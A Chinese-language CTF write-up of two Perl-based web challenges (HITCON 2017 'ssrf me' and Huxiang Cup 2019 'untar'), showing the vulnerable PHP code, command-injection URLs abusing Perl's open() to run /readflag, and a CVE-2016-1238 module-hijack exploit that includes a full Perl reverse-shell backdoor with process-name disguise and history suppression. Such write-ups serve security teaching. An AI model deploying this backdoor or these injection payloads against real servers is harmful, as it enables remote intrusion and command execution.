和perl相关的两道题目

ssrf me

Hitcon2017的一道题目

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
  • 传马不解析
  • GET是一个用perl开发的工具,用于发送http请求,kali中默认就有
  • 用?url=/etc/passwd&filename=passwd.txt可以读到内容,但是flag读不到
  • ?url=/etc/passwd&filename=ls.txt可以列出根目录,发现存在一个readflag,因此要想办法执行这个readflag

有两种方法:

1. open函数命令执行

GET中使用了open函数,该函数可以命令执行

1
2
open(FD, "|id"); #id|也可以
print <FD>;

GET中会先判断文件是否存在,因此要先创建文件
?url=/etc/passwd&filename=%2freadflag%7C
?url=file:%2freadflag%7C&filename=flag.txt
访问flag.txt得到flag

2.CVE-2016-1238

漏洞相关信息:https://www.anquanke.com/vul/id/1146868

  • 准备一个perl的后门
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    #!/usr/bin/perl -w
    # perl-reverse-shell - A Reverse Shell implementation in PERL
    use strict;
    use Socket;
    use FileHandle;
    use POSIX;
    my $VERSION = "1.0";

    # Where to send the reverse shell. Change these.
    my $ip = '127.0.0.1';
    my $port = 1234;

    # Options
    my $daemon = 1;
    my $auth = 0; # 0 means authentication is disabled and any
    # source IP can access the reverse shell
    my $authorised_client_pattern = qr(^127\.0\.0\.1$);

    # Declarations
    my $global_page = "";
    my $fake_process_name = "/usr/sbin/apache";

    # Change the process name to be less conspicious
    $0 = "[httpd]";

    # Authenticate based on source IP address if required
    if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
    unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
    cgiprint("ERROR: Your client isn't authorised to view this page");
    cgiexit();
    }
    }
    } elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
    cgiexit(0);
    }

    # Background and dissociate from parent process if required
    if ($daemon) {
    my $pid = fork();
    if ($pid) {
    cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
    }

    # Make TCP connection for reverse shell
    socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
    } else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();
    }

    # Redirect STDIN, STDOUT and STDERR to the TCP connection
    open(STDIN, ">&SOCK");
    open(STDOUT,">&SOCK");
    open(STDERR,">&SOCK");
    $ENV{'HISTFILE'} = '/dev/null';
    system("w;uname -a;id;pwd");
    exec({"/bin/sh"} ($fake_process_name, "-i"));

    # Wrapper around print
    sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
    }

    # Wrapper around exit
    sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
    }

    # Form HTTP response using all the messages gathered by cgiprint so far
    sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
    }
  • ?url=http://xxx/fuck.txt&filename=URI/fuck.pm
    将perl后门写入
  • 监听端口后,?filename=/etc/passwd/&url=fuck://fuck.com
    这时perl会去搜索并载入fuck.pm,执行我们的后门

untar

湖湘杯2019的题目,是根据上一题改过来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);
echo $sandbox."</br>";
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))
die();
$url = str_replace("|", "", $_GET["url"]);
$data = shell_exec("GET " . escapeshellarg($url));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
highlight_file(__FILE__);

主要就是利用软链接来达到读取文件和访问目录,可以发现flag无法直接读到,根目录下同样存在一个readflag

2.UNTAR 命令执行

可以用上面软链接的方法读取到UNTAR的源码(设置一个软链接指向UNTAR,然后访问这个软链接)

1
2
3
4
5
#!/usr/bin/perl -w

use Archive::Tar;
my $tar = Archive::Tar->new;
$tar->extract_archive("$ARGV[0]");

UNTAR 同样存在和GET一样的问题,可以命令执行,具体代码就不分析了

3.CVE-2016-1238

还是上题的那个漏洞,这里虽然限制了只能是http协议,但是可以在我们自己的vps上设置协议

1
2
3
<?php
header("Location: fuck://fuck.com");
?>

其他类似上一题